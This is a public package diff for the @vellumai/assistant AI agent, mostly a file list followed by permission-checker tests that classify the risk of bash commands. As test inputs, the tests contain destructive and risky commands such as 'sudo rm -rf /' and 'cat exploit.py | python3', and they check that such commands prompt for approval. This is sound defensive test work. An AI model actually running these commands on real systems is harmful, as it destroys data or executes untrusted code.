@vellumai/assistant 0.6.0 → 0.6.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +4 -0
- package/ARCHITECTURE.md +68 -15
- package/Dockerfile +2 -2
- package/bun.lock +6 -2
- package/docker-entrypoint.sh +42 -1
- package/docs/architecture/integrations.md +1 -1
- package/docs/architecture/memory.md +21 -24
- package/node_modules/@vellumai/ces-contracts/src/handles.ts +7 -9
- package/openapi.yaml +539 -4
- package/package.json +5 -1
- package/src/__tests__/anthropic-provider.test.ts +160 -95
- package/src/__tests__/app-dir-path-guard.test.ts +1 -0
- package/src/__tests__/app-executors.test.ts +47 -1
- package/src/__tests__/app-source-watcher.test.ts +159 -0
- package/src/__tests__/assistant-event-hub.test.ts +30 -0
- package/src/__tests__/checker.test.ts +138 -172
- package/src/__tests__/cli-command-risk-guard.test.ts +1 -1
- package/src/__tests__/config-schema.test.ts +5 -0
- package/src/__tests__/context-overflow-approval.test.ts +5 -5
- package/src/__tests__/conversation-agent-loop-overflow.test.ts +4 -6
- package/src/__tests__/conversation-agent-loop.test.ts +4 -51
- package/src/__tests__/conversation-analysis-routes.test.ts +169 -0
- package/src/__tests__/conversation-directories-parse.test.ts +105 -0
- package/src/__tests__/conversation-history-web-search.test.ts +1 -1
- package/src/__tests__/conversation-runtime-assembly.test.ts +653 -832
- package/src/__tests__/conversation-runtime-workspace.test.ts +1 -93
- package/src/__tests__/conversation-tool-setup-app-refresh.test.ts +17 -4
- package/src/__tests__/conversation-wipe.test.ts +2 -6
- package/src/__tests__/conversation-workspace-cache-state.test.ts +6 -12
- package/src/__tests__/conversation-workspace-injection.test.ts +25 -26
- package/src/__tests__/conversation-workspace-tool-tracking.test.ts +1 -1
- package/src/__tests__/copy-composer-tc-templates.test.ts +335 -0
- package/src/__tests__/credential-execution-approval-bridge.test.ts +0 -2
- package/src/__tests__/date-context.test.ts +76 -210
- package/src/__tests__/db-schedule-syntax-migration.test.ts +16 -1
- package/src/__tests__/file-list-tool.test.ts +219 -0
- package/src/__tests__/first-greeting.test.ts +1 -1
- package/src/__tests__/heartbeat-service.test.ts +180 -3
- package/src/__tests__/identity-routes.test.ts +328 -0
- package/src/__tests__/init-feature-flag-overrides.test.ts +167 -0
- package/src/__tests__/injection-block.test.ts +24 -0
- package/src/__tests__/inline-command-runner.test.ts +7 -5
- package/src/__tests__/install-skill-routing.test.ts +7 -6
- package/src/__tests__/jobs-store-qdrant-breaker.test.ts +15 -14
- package/src/__tests__/list-messages-tool-merge.test.ts +300 -0
- package/src/__tests__/llm-context-normalization.test.ts +18 -18
- package/src/__tests__/llm-context-route-provider.test.ts +101 -0
- package/src/__tests__/llm-request-log-turn-query.test.ts +162 -0
- package/src/__tests__/log-export-workspace.test.ts +257 -100
- package/src/__tests__/managed-credential-catalog-cli.test.ts +12 -14
- package/src/__tests__/mcp-abort-signal.test.ts +5 -0
- package/src/__tests__/mcp-client-auth.test.ts +5 -0
- package/src/__tests__/memory-recall-log-store.test.ts +132 -0
- package/src/__tests__/migration-export-streaming.test.ts +304 -0
- package/src/__tests__/migration-import-commit-http.test.ts +11 -10
- package/src/__tests__/mock-fetch.ts +87 -0
- package/src/__tests__/navigate-settings-tab.test.ts +14 -1
- package/src/__tests__/notification-broadcaster.test.ts +65 -0
- package/src/__tests__/notification-decision-recipient-context.test.ts +282 -0
- package/src/__tests__/onboarding-template-contract.test.ts +63 -14
- package/src/__tests__/parser.test.ts +32 -0
- package/src/__tests__/permission-checker-host-gate.test.ts +452 -0
- package/src/__tests__/permission-controls-v2-flag.test.ts +55 -0
- package/src/__tests__/permission-mode-sse.test.ts +418 -0
- package/src/__tests__/permission-mode-store.test.ts +277 -0
- package/src/__tests__/permission-mode.test.ts +101 -0
- package/src/__tests__/pkb-autoinject.test.ts +96 -0
- package/src/__tests__/platform-bash-auto-approve.test.ts +359 -0
- package/src/__tests__/profiler-routes.test.ts +502 -0
- package/src/__tests__/profiler-run-store.test.ts +441 -0
- package/src/__tests__/proxy-approval-callback.test.ts +4 -75
- package/src/__tests__/registry.test.ts +1 -1
- package/src/__tests__/require-fresh-approval.test.ts +0 -2
- package/src/__tests__/sandbox-diagnostics.test.ts +1 -32
- package/src/__tests__/sandbox-host-parity.test.ts +5 -4
- package/src/__tests__/scheduler-reuse-conversation.test.ts +368 -0
- package/src/__tests__/scrub-corrupted-image-attachments.test.ts +278 -0
- package/src/__tests__/search-skills-unified.test.ts +4 -3
- package/src/__tests__/send-endpoint-busy.test.ts +42 -3
- package/src/__tests__/set-permission-mode.test.ts +274 -0
- package/src/__tests__/skill-load-feature-flag.test.ts +12 -0
- package/src/__tests__/skill-memory.test.ts +2 -783
- package/src/__tests__/strip-memory-injections.test.ts +187 -0
- package/src/__tests__/subagent-detail.test.ts +84 -0
- package/src/__tests__/subagent-disposal.test.ts +308 -0
- package/src/__tests__/subagent-manager-notify.test.ts +19 -10
- package/src/__tests__/subagent-notify-parent.test.ts +390 -0
- package/src/__tests__/subagent-role-registry.test.ts +108 -0
- package/src/__tests__/subagent-tool-filtering.test.ts +71 -0
- package/src/__tests__/subagent-tools.test.ts +464 -4
- package/src/__tests__/system-prompt-ask-mode.test.ts +139 -0
- package/src/__tests__/task-memory-cleanup.test.ts +12 -12
- package/src/__tests__/terminal-sandbox.test.ts +1 -1
- package/src/__tests__/terminal-tools.test.ts +16 -29
- package/src/__tests__/test-preload.ts +18 -0
- package/src/__tests__/tool-domain-event-publisher.test.ts +0 -1
- package/src/__tests__/tool-executor-lifecycle-events.test.ts +1 -8
- package/src/__tests__/tool-executor.test.ts +4 -27
- package/src/__tests__/tool-side-effects-slack-dm.test.ts +1 -0
- package/src/__tests__/top-level-renderer.test.ts +10 -13
- package/src/__tests__/transport-hints-queue.test.ts +77 -0
- package/src/__tests__/trust-store.test.ts +4 -4
- package/src/__tests__/trusted-contact-lifecycle-notifications.test.ts +116 -2
- package/src/__tests__/workspace-migration-028-recover-conversations-from-disk-view.test.ts +387 -0
- package/src/__tests__/workspace-migration-030-seed-pkb-autoinject.test.ts +168 -0
- package/src/__tests__/workspace-policy.test.ts +2 -7
- package/src/agent/loop.ts +6 -29
- package/src/approvals/guardian-request-resolvers.ts +24 -0
- package/src/avatar/traits-png-sync.ts +3 -3
- package/src/channels/types.ts +5 -0
- package/src/cli/__tests__/run-assistant-command.ts +56 -0
- package/src/cli/__tests__/unknown-command.test.ts +33 -0
- package/src/cli/commands/__tests__/email-download.test.ts +245 -0
- package/src/cli/commands/__tests__/email-list.test.ts +192 -0
- package/src/cli/commands/__tests__/email-register.test.ts +186 -0
- package/src/cli/commands/__tests__/email-send.test.ts +291 -0
- package/src/cli/commands/__tests__/email-status.test.ts +181 -0
- package/src/cli/commands/__tests__/email-unregister.test.ts +139 -0
- package/src/cli/commands/__tests__/routes.test.ts +562 -0
- package/src/cli/commands/conversations.ts +1 -8
- package/src/cli/commands/default-action.ts +68 -1
- package/src/cli/commands/email.ts +584 -835
- package/src/cli/commands/memory.ts +1 -34
- package/src/cli/commands/notifications.ts +7 -2
- package/src/cli/commands/oauth/__tests__/connect.test.ts +27 -0
- package/src/cli/commands/oauth/connect.ts +25 -5
- package/src/cli/commands/platform/__tests__/connect.test.ts +1 -1
- package/src/cli/commands/platform/__tests__/disconnect.test.ts +1 -1
- package/src/cli/commands/platform/__tests__/status.test.ts +1 -1
- package/src/cli/commands/routes.ts +396 -0
- package/src/cli/commands/skills.ts +130 -20
- package/src/cli/program.ts +11 -2
- package/src/cli.ts +1 -120
- package/src/config/assistant-feature-flags.ts +59 -55
- package/src/config/bundled-skills/app-builder/SKILL.md +91 -5
- package/src/config/bundled-skills/gmail/SKILL.md +13 -8
- package/src/config/bundled-skills/gmail/TOOLS.json +1 -1
- package/src/config/bundled-skills/gmail/tools/gmail-sender-digest.ts +2 -1
- package/src/config/bundled-skills/messaging/SKILL.md +7 -0
- package/src/config/bundled-skills/schedule/SKILL.md +22 -2
- package/src/config/bundled-skills/schedule/TOOLS.json +8 -0
- package/src/config/bundled-skills/settings/TOOLS.json +1 -1
- package/src/config/bundled-skills/settings/tools/avatar-get.ts +3 -13
- package/src/config/bundled-skills/settings/tools/avatar-remove.ts +2 -4
- package/src/config/bundled-skills/settings/tools/avatar-update.ts +5 -2
- package/src/config/bundled-skills/settings/tools/navigate-settings-tab.ts +8 -3
- package/src/config/bundled-skills/slack/SKILL.md +2 -0
- package/src/config/bundled-skills/subagent/SKILL.md +43 -3
- package/src/config/bundled-skills/subagent/TOOLS.json +29 -4
- package/src/config/env-registry.ts +63 -0
- package/src/config/feature-flag-registry.json +17 -1
- package/src/config/schema.ts +8 -0
- package/src/config/schemas/filing.ts +51 -0
- package/src/config/schemas/heartbeat.ts +15 -12
- package/src/config/schemas/memory-lifecycle.ts +12 -0
- package/src/config/schemas/security.ts +14 -0
- package/src/config/schemas/services.ts +8 -0
- package/src/credential-execution/approval-bridge.ts +0 -1
- package/src/credential-execution/managed-catalog.ts +3 -7
- package/src/daemon/app-source-watcher.ts +93 -0
- package/src/daemon/config-watcher.ts +85 -3
- package/src/daemon/context-overflow-approval.ts +0 -1
- package/src/daemon/conversation-agent-loop-handlers.ts +20 -0
- package/src/daemon/conversation-agent-loop.ts +179 -65
- package/src/daemon/conversation-attachments.ts +0 -1
- package/src/daemon/conversation-history.ts +4 -19
- package/src/daemon/conversation-lifecycle.ts +8 -14
- package/src/daemon/conversation-messaging.ts +3 -0
- package/src/daemon/conversation-process.ts +30 -8
- package/src/daemon/conversation-queue-manager.ts +8 -0
- package/src/daemon/conversation-runtime-assembly.ts +359 -308
- package/src/daemon/conversation-surfaces.ts +65 -0
- package/src/daemon/conversation-tool-setup.ts +44 -17
- package/src/daemon/conversation-workspace.ts +1 -2
- package/src/daemon/conversation.ts +19 -3
- package/src/daemon/date-context.ts +26 -53
- package/src/daemon/first-greeting.ts +1 -1
- package/src/daemon/handlers/conversations.ts +5 -7
- package/src/daemon/handlers/shared.test.ts +143 -0
- package/src/daemon/handlers/shared.ts +70 -5
- package/src/daemon/handlers/skills.ts +11 -18
- package/src/daemon/lifecycle.ts +220 -158
- package/src/daemon/message-types/conversations.ts +29 -6
- package/src/daemon/message-types/messages.ts +9 -2
- package/src/daemon/message-types/notifications.ts +12 -0
- package/src/daemon/message-types/schedules.ts +1 -0
- package/src/daemon/message-types/settings.ts +18 -0
- package/src/daemon/profiler-run-store.ts +557 -0
- package/src/daemon/server.ts +87 -10
- package/src/daemon/shutdown-handlers.ts +5 -0
- package/src/daemon/tool-side-effects.ts +23 -3
- package/src/daemon/transport-hints.ts +33 -0
- package/src/export/transcript-formatter.ts +148 -0
- package/src/filing/filing-service.ts +228 -0
- package/src/heartbeat/heartbeat-service.ts +96 -7
- package/src/index.ts +1 -1
- package/src/mcp/client.ts +6 -0
- package/src/mcp/mcp-oauth-provider.ts +149 -27
- package/src/memory/admin.ts +33 -32
- package/src/memory/app-store.ts +69 -0
- package/src/memory/conversation-bootstrap.ts +1 -1
- package/src/memory/conversation-crud.ts +151 -117
- package/src/memory/conversation-directories.ts +39 -0
- package/src/memory/conversation-group-migration.ts +66 -6
- package/src/memory/conversation-queries.ts +58 -12
- package/src/memory/conversation-title-service.ts +1 -0
- package/src/memory/db-init.ts +182 -376
- package/src/memory/embedding-local.ts +1 -1
- package/src/memory/graph/bootstrap.ts +75 -66
- package/src/memory/graph/capability-seed.ts +167 -17
- package/src/memory/graph/consolidation.ts +38 -4
- package/src/memory/graph/conversation-graph-memory.ts +133 -104
- package/src/memory/graph/extraction-job.ts +9 -4
- package/src/memory/graph/extraction.ts +66 -23
- package/src/memory/graph/graph-memory-state-store.ts +37 -0
- package/src/memory/graph/graph-search.ts +29 -15
- package/src/memory/graph/injection.ts +38 -8
- package/src/memory/graph/inspect.ts +12 -3
- package/src/memory/graph/retriever.ts +365 -262
- package/src/memory/graph/store.test.ts +48 -0
- package/src/memory/graph/store.ts +150 -11
- package/src/memory/graph/tool-handlers.ts +84 -209
- package/src/memory/graph/tools.ts +8 -52
- package/src/memory/graph/types.ts +24 -0
- package/src/memory/group-crud.ts +25 -9
- package/src/memory/job-handlers/cleanup.ts +44 -1
- package/src/memory/jobs-store.ts +70 -60
- package/src/memory/jobs-worker.ts +44 -28
- package/src/memory/llm-request-log-store.ts +96 -12
- package/src/memory/memory-recall-log-store.ts +49 -5
- package/src/memory/migrations/203-drop-memory-items-tables.ts +33 -1
- package/src/memory/migrations/206-memory-graph-node-edits.ts +19 -0
- package/src/memory/migrations/206-scrub-corrupted-image-attachments.ts +131 -0
- package/src/memory/migrations/207-conversation-graph-memory-state.ts +20 -0
- package/src/memory/migrations/208-conversations-last-message-at.ts +35 -0
- package/src/memory/migrations/209-strip-thinking-from-consolidated.ts +85 -0
- package/src/memory/migrations/210-schedule-reuse-conversation.ts +13 -0
- package/src/memory/migrations/211-memory-recall-logs-query-context.ts +21 -0
- package/src/memory/migrations/212-llm-request-logs-created-at-index.ts +19 -0
- package/src/memory/migrations/index.ts +8 -0
- package/src/memory/migrations/registry.ts +8 -0
- package/src/memory/schema/conversations.ts +14 -0
- package/src/memory/schema/infrastructure.ts +8 -1
- package/src/memory/schema/memory-core.ts +0 -51
- package/src/memory/schema/memory-graph.ts +15 -0
- package/src/memory/task-memory-cleanup.ts +30 -11
- package/src/messaging/provider.ts +1 -1
- package/src/notifications/broadcaster.ts +6 -0
- package/src/notifications/conversation-pairing.ts +12 -4
- package/src/notifications/copy-composer.ts +86 -0
- package/src/notifications/decision-engine.ts +35 -0
- package/src/notifications/emit-signal.ts +14 -0
- package/src/notifications/signal.ts +11 -0
- package/src/oauth/platform-connection.test.ts +2 -2
- package/src/oauth/seed-providers.ts +1 -0
- package/src/permissions/checker.ts +15 -4
- package/src/permissions/defaults.ts +7 -8
- package/src/permissions/permission-mode-store.ts +180 -0
- package/src/permissions/permission-mode.ts +31 -0
- package/src/permissions/prompter.ts +0 -2
- package/src/permissions/workspace-policy.ts +9 -0
- package/src/platform/client.ts +1 -1
- package/src/prompts/system-prompt.ts +59 -7
- package/src/prompts/templates/BOOTSTRAP-REFERENCE.md +100 -0
- package/src/prompts/templates/BOOTSTRAP.md +76 -162
- package/src/prompts/templates/HEARTBEAT.md +3 -1
- package/src/prompts/templates/SOUL.md +30 -9
- package/src/prompts/templates/UPDATES.md +8 -0
- package/src/providers/anthropic/client.ts +107 -219
- package/src/runtime/assistant-event-hub.ts +22 -0
- package/src/runtime/auth/route-policy.ts +23 -0
- package/src/runtime/auth/token-service.ts +8 -0
- package/src/runtime/http-server.ts +32 -2
- package/src/runtime/http-types.ts +12 -1
- package/src/runtime/migrations/vbundle-builder.ts +389 -3
- package/src/runtime/migrations/vbundle-importer.ts +8 -6
- package/src/runtime/routes/__tests__/user-route-dispatcher.test.ts +378 -0
- package/src/runtime/routes/app-management-routes.ts +1 -11
- package/src/runtime/routes/approval-strategies/guardian-callback-strategy.ts +26 -0
- package/src/runtime/routes/archive-utils.ts +29 -0
- package/src/runtime/routes/avatar-routes.ts +2 -9
- package/src/runtime/routes/btw-routes.ts +14 -1
- package/src/runtime/routes/conversation-analysis-routes.ts +185 -0
- package/src/runtime/routes/conversation-management-routes.ts +1 -14
- package/src/runtime/routes/conversation-query-routes.ts +49 -3
- package/src/runtime/routes/conversation-routes.ts +270 -44
- package/src/runtime/routes/group-routes.ts +22 -8
- package/src/runtime/routes/heartbeat-routes.ts +4 -10
- package/src/runtime/routes/identity-routes.ts +53 -18
- package/src/runtime/routes/llm-context-normalization.ts +14 -10
- package/src/runtime/routes/log-export/AGENTS.md +104 -0
- package/src/runtime/routes/log-export/__tests__/workspace-allowlist-error-contract.test.ts +103 -0
- package/src/runtime/routes/log-export/__tests__/workspace-allowlist.test.ts +716 -0
- package/src/runtime/routes/log-export/workspace-allowlist.ts +458 -0
- package/src/runtime/routes/log-export-routes.ts +41 -278
- package/src/runtime/routes/memory-item-routes.test.ts +168 -233
- package/src/runtime/routes/migration-routes.ts +18 -7
- package/src/runtime/routes/profiler-routes.ts +350 -0
- package/src/runtime/routes/schedule-routes.ts +27 -12
- package/src/runtime/routes/settings-routes.ts +95 -8
- package/src/runtime/routes/subagents-routes.ts +28 -7
- package/src/runtime/routes/user-route-dispatcher.ts +223 -0
- package/src/runtime/routes/user-routes.ts +41 -0
- package/src/runtime/routes/workspace-routes.ts +0 -1
- package/src/schedule/schedule-store.ts +30 -0
- package/src/schedule/scheduler.ts +45 -18
- package/src/skills/catalog-install.ts +10 -2
- package/src/skills/inline-command-runner.ts +12 -14
- package/src/skills/managed-store.ts +2 -2
- package/src/skills/skill-memory.ts +1 -293
- package/src/subagent/index.ts +13 -3
- package/src/subagent/manager.ts +308 -29
- package/src/subagent/types.ts +68 -0
- package/src/tasks/task-runner.ts +4 -4
- package/src/tools/apps/executors.ts +29 -4
- package/src/tools/filesystem/list.ts +93 -0
- package/src/tools/permission-checker.ts +78 -18
- package/src/tools/registry.ts +4 -0
- package/src/tools/schedule/create.ts +3 -0
- package/src/tools/schedule/list.ts +1 -0
- package/src/tools/schedule/update.ts +6 -0
- package/src/tools/secret-detection-handler.ts +0 -1
- package/src/tools/shared/filesystem/errors.ts +5 -0
- package/src/tools/shared/filesystem/file-ops-service.ts +90 -2
- package/src/tools/shared/filesystem/types.ts +17 -0
- package/src/tools/shared/shell-output.ts +31 -2
- package/src/tools/skills/sandbox-runner.ts +3 -6
- package/src/tools/subagent/abort.ts +12 -2
- package/src/tools/subagent/message.ts +9 -2
- package/src/tools/subagent/notify-parent.ts +79 -0
- package/src/tools/subagent/read.ts +29 -8
- package/src/tools/subagent/resolve.ts +21 -0
- package/src/tools/subagent/spawn.ts +2 -0
- package/src/tools/subagent/status.ts +11 -1
- package/src/tools/system/avatar-generator.ts +3 -3
- package/src/tools/system/register.ts +23 -0
- package/src/tools/system/set-permission-mode.ts +103 -0
- package/src/tools/terminal/parser.ts +30 -5
- package/src/tools/terminal/safe-env.ts +16 -1
- package/src/tools/terminal/sandbox-diagnostics.ts +4 -4
- package/src/tools/terminal/sandbox.ts +4 -1
- package/src/tools/terminal/shell.ts +3 -5
- package/src/tools/tool-manifest.ts +6 -0
- package/src/tools/types.ts +2 -3
- package/src/util/logger.ts +1 -1
- package/src/util/platform.ts +50 -17
- package/src/watcher/provider-types.ts +1 -1
- package/src/workspace/migrations/023-move-config-files-to-workspace.ts +2 -2
- package/src/workspace/migrations/024-move-runtime-files-to-workspace.ts +2 -2
- package/src/workspace/migrations/028-recover-conversations-from-disk-view.ts +270 -0
- package/src/workspace/migrations/029-seed-pkb.ts +85 -0
- package/src/workspace/migrations/030-seed-pkb-autoinject.ts +73 -0
- package/src/workspace/migrations/registry.ts +6 -0
- package/src/workspace/top-level-renderer.ts +5 -9
- package/src/__tests__/cli-memory.test.ts +0 -377
- package/src/__tests__/clipboard.test.ts +0 -88
- package/src/cli/cli-memory.ts +0 -179
- package/src/util/clipboard.ts +0 -34
|
@@ -48,14 +48,12 @@ mock.module("../util/logger.js", () => ({
|
|
|
48
48
|
interface TestConfig {
|
|
49
49
|
permissions: { mode: "strict" | "workspace" };
|
|
50
50
|
skills: { load: { extraDirs: string[] } };
|
|
51
|
-
sandbox: { enabled: boolean };
|
|
52
51
|
[key: string]: unknown;
|
|
53
52
|
}
|
|
54
53
|
|
|
55
54
|
const testConfig: TestConfig = {
|
|
56
55
|
permissions: { mode: "workspace" },
|
|
57
56
|
skills: { load: { extraDirs: [] } },
|
|
58
|
-
sandbox: { enabled: true },
|
|
59
57
|
};
|
|
60
58
|
|
|
61
59
|
mock.module("../config/loader.js", () => ({
|
|
@@ -640,49 +638,23 @@ describe("Permission Checker", () => {
|
|
|
640
638
|
// ── check (decision logic) ─────────────────────────────────────
|
|
641
639
|
|
|
642
640
|
describe("check", () => {
|
|
643
|
-
test("
|
|
644
|
-
// High risk
|
|
641
|
+
test("bash follows risk-based policy (no default allow rule outside container)", async () => {
|
|
642
|
+
// High risk → prompt
|
|
645
643
|
const high = await check("bash", { command: "sudo rm -rf /" }, "/tmp");
|
|
646
|
-
expect(high.decision).toBe("
|
|
647
|
-
expect(high.matchedRule?.id).toBe("default:allow-bash-global");
|
|
644
|
+
expect(high.decision).toBe("prompt");
|
|
648
645
|
|
|
649
|
-
// Medium risk
|
|
646
|
+
// Medium risk → prompt
|
|
650
647
|
const med = await check(
|
|
651
648
|
"bash",
|
|
652
649
|
{ command: "curl https://example.com" },
|
|
653
650
|
"/tmp",
|
|
654
651
|
);
|
|
655
|
-
expect(med.decision).toBe("
|
|
656
|
-
expect(med.matchedRule?.id).toBe("default:allow-bash-global");
|
|
652
|
+
expect(med.decision).toBe("prompt");
|
|
657
653
|
|
|
658
|
-
// Low risk
|
|
654
|
+
// Low risk → auto-allowed via risk-based fallback
|
|
659
655
|
const low = await check("bash", { command: "ls" }, "/tmp");
|
|
660
656
|
expect(low.decision).toBe("allow");
|
|
661
|
-
expect(low.
|
|
662
|
-
});
|
|
663
|
-
|
|
664
|
-
test("bash prompts when sandbox is disabled (no global allow rule)", async () => {
|
|
665
|
-
testConfig.sandbox.enabled = false;
|
|
666
|
-
clearCache();
|
|
667
|
-
try {
|
|
668
|
-
const high = await check("bash", { command: "sudo rm -rf /" }, "/tmp");
|
|
669
|
-
expect(high.decision).toBe("prompt");
|
|
670
|
-
|
|
671
|
-
const med = await check(
|
|
672
|
-
"bash",
|
|
673
|
-
{ command: "curl https://example.com" },
|
|
674
|
-
"/tmp",
|
|
675
|
-
);
|
|
676
|
-
expect(med.decision).toBe("prompt");
|
|
677
|
-
|
|
678
|
-
// Low risk still auto-allows via the normal risk-based fallback
|
|
679
|
-
const low = await check("bash", { command: "ls" }, "/tmp");
|
|
680
|
-
expect(low.decision).toBe("allow");
|
|
681
|
-
expect(low.reason).toContain("Low risk");
|
|
682
|
-
} finally {
|
|
683
|
-
testConfig.sandbox.enabled = true;
|
|
684
|
-
clearCache();
|
|
685
|
-
}
|
|
657
|
+
expect(low.reason).toContain("Low risk");
|
|
686
658
|
});
|
|
687
659
|
|
|
688
660
|
test("host_bash high risk → always prompt", async () => {
|
|
@@ -2337,11 +2309,11 @@ describe("Permission Checker", () => {
|
|
|
2337
2309
|
// ── strict mode: no implicit allow (PR 21) ───────────────────
|
|
2338
2310
|
|
|
2339
2311
|
describe("strict mode — no implicit allow (PR 21)", () => {
|
|
2340
|
-
test("
|
|
2312
|
+
test("bash prompts in strict mode (no default allow rule outside container)", async () => {
|
|
2341
2313
|
testConfig.permissions.mode = "strict";
|
|
2342
2314
|
const result = await check("bash", { command: "ls" }, "/tmp");
|
|
2343
|
-
expect(result.decision).toBe("
|
|
2344
|
-
expect(result.
|
|
2315
|
+
expect(result.decision).toBe("prompt");
|
|
2316
|
+
expect(result.reason).toContain("Strict mode");
|
|
2345
2317
|
});
|
|
2346
2318
|
|
|
2347
2319
|
test("host_bash prompts low risk in strict mode (default ask rule matches)", async () => {
|
|
@@ -2462,10 +2434,9 @@ describe("Permission Checker", () => {
|
|
|
2462
2434
|
expect(result.decision).toBe("prompt");
|
|
2463
2435
|
});
|
|
2464
2436
|
|
|
2465
|
-
test("
|
|
2437
|
+
test("bash prompts for high-risk without default allow rule", async () => {
|
|
2466
2438
|
const result = await check("bash", { command: "sudo rm -rf /" }, "/tmp");
|
|
2467
|
-
expect(result.decision).toBe("
|
|
2468
|
-
expect(result.matchedRule?.id).toBe("default:allow-bash-global");
|
|
2439
|
+
expect(result.decision).toBe("prompt");
|
|
2469
2440
|
});
|
|
2470
2441
|
|
|
2471
2442
|
test("medium-risk tool with allow rule is NOT affected by allowHighRisk", async () => {
|
|
@@ -3657,11 +3628,11 @@ describe("Permission Checker", () => {
|
|
|
3657
3628
|
// explicit matching rule. ──────────────────────────────────────
|
|
3658
3629
|
|
|
3659
3630
|
describe("Invariant 1: strict mode requires explicit matching rule for every tool", () => {
|
|
3660
|
-
test("
|
|
3631
|
+
test("bash prompts in strict mode (no default allow rule outside container)", async () => {
|
|
3661
3632
|
testConfig.permissions.mode = "strict";
|
|
3662
3633
|
const result = await check("bash", { command: "echo hello" }, "/tmp");
|
|
3663
|
-
expect(result.decision).toBe("
|
|
3664
|
-
expect(result.
|
|
3634
|
+
expect(result.decision).toBe("prompt");
|
|
3635
|
+
expect(result.reason).toContain("Strict mode");
|
|
3665
3636
|
});
|
|
3666
3637
|
|
|
3667
3638
|
test("low-risk host_bash prompts in strict mode (default ask rule matches)", async () => {
|
|
@@ -3709,15 +3680,14 @@ describe("Permission Checker", () => {
|
|
|
3709
3680
|
expect(result.reason).toContain("Strict mode");
|
|
3710
3681
|
});
|
|
3711
3682
|
|
|
3712
|
-
test("high-risk
|
|
3683
|
+
test("high-risk bash prompts in strict mode (no default allow rule outside container)", async () => {
|
|
3713
3684
|
testConfig.permissions.mode = "strict";
|
|
3714
3685
|
const result = await check(
|
|
3715
3686
|
"bash",
|
|
3716
3687
|
{ command: "sudo apt update" },
|
|
3717
3688
|
"/tmp",
|
|
3718
3689
|
);
|
|
3719
|
-
expect(result.decision).toBe("
|
|
3720
|
-
expect(result.matchedRule?.id).toBe("default:allow-bash-global");
|
|
3690
|
+
expect(result.decision).toBe("prompt");
|
|
3721
3691
|
});
|
|
3722
3692
|
|
|
3723
3693
|
test("high-risk host_bash command with no user rule prompts in strict mode", async () => {
|
|
@@ -4130,20 +4100,39 @@ describe("Permission Checker", () => {
|
|
|
4130
4100
|
|
|
4131
4101
|
test("getDefaultRuleTemplates tolerates partial config mocks", () => {
|
|
4132
4102
|
const originalSkills = testConfig.skills;
|
|
4133
|
-
const originalSandbox = testConfig.sandbox;
|
|
4134
4103
|
try {
|
|
4135
4104
|
testConfig.skills = {} as any;
|
|
4136
|
-
testConfig.sandbox = {} as any;
|
|
4137
4105
|
|
|
4138
4106
|
const templates = getDefaultRuleTemplates();
|
|
4139
4107
|
expect(Array.isArray(templates)).toBe(true);
|
|
4140
4108
|
expect(templates.some((t) => t.id.includes("extra-"))).toBe(false);
|
|
4109
|
+
// bash allow rule is conditional on IS_CONTAINERIZED, not present in test env
|
|
4141
4110
|
expect(
|
|
4142
4111
|
templates.some((t) => t.id === "default:allow-bash-global"),
|
|
4143
|
-
).toBe(
|
|
4112
|
+
).toBe(false);
|
|
4144
4113
|
} finally {
|
|
4145
4114
|
testConfig.skills = originalSkills;
|
|
4146
|
-
|
|
4115
|
+
}
|
|
4116
|
+
});
|
|
4117
|
+
|
|
4118
|
+
test("getDefaultRuleTemplates includes bash allow rule when IS_CONTAINERIZED", () => {
|
|
4119
|
+
const orig = process.env.IS_CONTAINERIZED;
|
|
4120
|
+
process.env.IS_CONTAINERIZED = "true";
|
|
4121
|
+
try {
|
|
4122
|
+
const templates = getDefaultRuleTemplates();
|
|
4123
|
+
const bashRule = templates.find(
|
|
4124
|
+
(t) => t.id === "default:allow-bash-global",
|
|
4125
|
+
);
|
|
4126
|
+
expect(bashRule).toBeDefined();
|
|
4127
|
+
expect(bashRule!.tool).toBe("bash");
|
|
4128
|
+
expect(bashRule!.pattern).toBe("**");
|
|
4129
|
+
expect(bashRule!.allowHighRisk).toBe(true);
|
|
4130
|
+
} finally {
|
|
4131
|
+
if (orig === undefined) {
|
|
4132
|
+
delete process.env.IS_CONTAINERIZED;
|
|
4133
|
+
} else {
|
|
4134
|
+
process.env.IS_CONTAINERIZED = orig;
|
|
4135
|
+
}
|
|
4147
4136
|
}
|
|
4148
4137
|
});
|
|
4149
4138
|
});
|
|
@@ -4400,22 +4389,58 @@ describe("Permission Checker", () => {
|
|
|
4400
4389
|
});
|
|
4401
4390
|
});
|
|
4402
4391
|
|
|
4403
|
-
describe("bash network_mode=proxied —
|
|
4392
|
+
describe("bash network_mode=proxied — risk capped at medium", () => {
|
|
4404
4393
|
beforeEach(() => {
|
|
4405
4394
|
clearCache();
|
|
4406
4395
|
testConfig.permissions = { mode: "workspace" };
|
|
4407
4396
|
testConfig.skills = { load: { extraDirs: [] } };
|
|
4408
4397
|
});
|
|
4409
4398
|
|
|
4410
|
-
test("proxied bash follows
|
|
4411
|
-
// Proxied bash is no longer force-prompted — the default allow-bash rule
|
|
4412
|
-
// auto-allows low/medium risk commands regardless of network_mode.
|
|
4399
|
+
test("proxied bash follows risk-based policy (medium risk → prompt outside container)", async () => {
|
|
4413
4400
|
const result = await check(
|
|
4414
4401
|
"bash",
|
|
4415
4402
|
{ command: "curl https://api.example.com", network_mode: "proxied" },
|
|
4416
4403
|
"/tmp",
|
|
4417
4404
|
);
|
|
4418
|
-
|
|
4405
|
+
// Without the containerized bash allow rule, proxied medium-risk bash prompts
|
|
4406
|
+
expect(result.decision).toBe("prompt");
|
|
4407
|
+
});
|
|
4408
|
+
|
|
4409
|
+
test("proxied bash caps high-risk commands to medium", async () => {
|
|
4410
|
+
// pipe-to-interpreter (stdin exec) is normally High risk, but proxied mode caps at Medium
|
|
4411
|
+
const risk = await classifyRisk("bash", {
|
|
4412
|
+
command: "cat exploit.py | python3",
|
|
4413
|
+
network_mode: "proxied",
|
|
4414
|
+
});
|
|
4415
|
+
expect(risk).toBe(RiskLevel.Medium);
|
|
4416
|
+
});
|
|
4417
|
+
|
|
4418
|
+
test("pipe to python3 -c is not high risk (inline code, not stdin exec)", async () => {
|
|
4419
|
+
const risk = await classifyRisk("bash", {
|
|
4420
|
+
command:
|
|
4421
|
+
'cat data.json | python3 -c "import sys; print(sys.stdin.read())"',
|
|
4422
|
+
});
|
|
4423
|
+
expect(risk).toBe(RiskLevel.Low);
|
|
4424
|
+
});
|
|
4425
|
+
|
|
4426
|
+
test("pipe to python3 without -c is high risk (stdin exec)", async () => {
|
|
